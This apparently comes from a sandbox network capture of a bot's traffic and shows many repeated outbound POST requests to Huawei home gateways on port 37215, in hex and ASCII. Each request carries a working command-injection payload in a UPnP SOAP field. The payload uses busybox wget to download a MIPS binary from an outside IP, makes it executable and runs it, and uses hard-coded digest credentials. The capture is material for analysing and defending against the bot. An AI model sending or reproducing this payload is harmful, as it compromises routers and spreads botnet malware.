67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:33.629940033 CET	3012	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.23	44436	156.254.85.109	37215

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:17:03.036643982 CET	2210	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:04.641968966 CET	2239	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:06.561728001 CET	2294	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:10.597147942 CET	2403	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:18.272149086 CET	2608	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:33.629940033 CET	3012	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.23	48392	156.224.14.101	37215

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:17:07.450618029 CET	2323	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:09.121295929 CET	2352	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 